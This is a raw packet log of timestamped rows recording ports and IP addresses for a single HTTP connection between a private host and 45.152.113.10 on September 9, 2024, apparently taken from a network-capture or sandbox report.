Sep 9, 2024 18:45:06.443238020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443264008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443280935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443284988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443300009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443311930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443316936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443329096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443337917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.443337917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443363905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.443399906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444246054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444294930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444298983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444317102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444345951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444355965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444390059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444406986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444423914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444432020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444443941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444453955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444468975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444483042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444541931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444559097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444576025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444585085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444592953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444606066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444612026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444613934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444629908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444642067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444645882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.444653034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444659948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.444689035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445045948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445069075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445086002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445094109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445105076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445116043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445122957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445126057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445138931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445173025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445182085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445197105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445220947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445225000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445246935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445265055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445278883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445282936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445282936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445292950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445298910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445302010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445317984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445327044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445336103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445388079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445388079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445393085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445419073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445430994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445436001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445450068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445465088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445473909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445481062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445487976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445499897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445512056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445518970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445530891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445530891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445563078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445579052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445595980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445611954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445617914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445630074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445641041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445647955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445657969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445667028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445679903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445683956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445688963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445714951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445739985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445748091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445748091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445748091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445754051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445769072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445785999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445789099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445801020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445811033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445820093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445821047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445837021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445837975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445857048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445873022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445874929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445904970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445914030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445924044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445940018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445941925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445956945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445960999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445972919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445972919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.445991039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.445993900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446005106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446008921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446026087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446027040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446043968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446046114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446060896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446063042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446079969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446079016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446098089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446116924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446186066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446199894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446214914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446224928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446232080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446235895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446249008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446254015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446266890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446268082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446285009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446285963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446305037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446321964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446346998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446363926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446378946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446389914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446396112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446402073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446415901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446419001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446430922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446454048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446470976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446487904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446505070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446526051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446544886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446548939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446562052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446578026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446594954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446602106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446613073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446621895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446644068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446660995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446821928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446878910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446894884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446911097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446918964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446943998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446958065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446962118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.446990967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.446995974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447007895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447024107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447031021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447041988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447042942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447061062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447062016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447077990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447078943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447094917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447098017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447117090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447134972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447141886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447159052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447174072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447180986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447191000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447192907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447208881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447210073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447227001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447227955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447248936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447258949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447287083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447304964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447324038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447335005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447349072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447352886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447371006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.447371006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447405100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.447405100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.535959005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.535964966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.535993099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536011934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536043882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536060095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536093950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536112070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536118031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536150932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536165953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536164999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536164999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536181927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536201954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536201954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536216974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536293030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536307096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536322117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536339045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.536349058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536361933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.536386013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537163973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537245035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537261963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537293911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537295103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537311077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537313938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537338018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537358999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537404060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537419081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537441969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537458897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537467003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537482023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537491083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537508011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537509918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537528992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537542105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537547112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537560940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537575960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537580967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537597895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537600040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537600040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537615061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537631989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537698984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537714005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537727118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537729979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537739992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537751913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537755013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537756920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537766933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537790060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537816048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537832022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537847996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537854910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537862062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537878036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537890911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537903070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.537945032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.537998915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538013935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538029909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538037062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538058043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538079977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538115025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538130045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538145065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538152933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538161993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538177967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538193941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538209915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538254976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538398981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538429976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538450956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538454056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538470030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538471937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538486958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538494110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538505077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538516045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538552999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538553953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538585901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538602114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538631916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538642883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538642883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538655996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538671970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538674116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538688898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:06.538696051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:06.538707018 CEST	80	49707	45.152.113.10	192.168.2.5
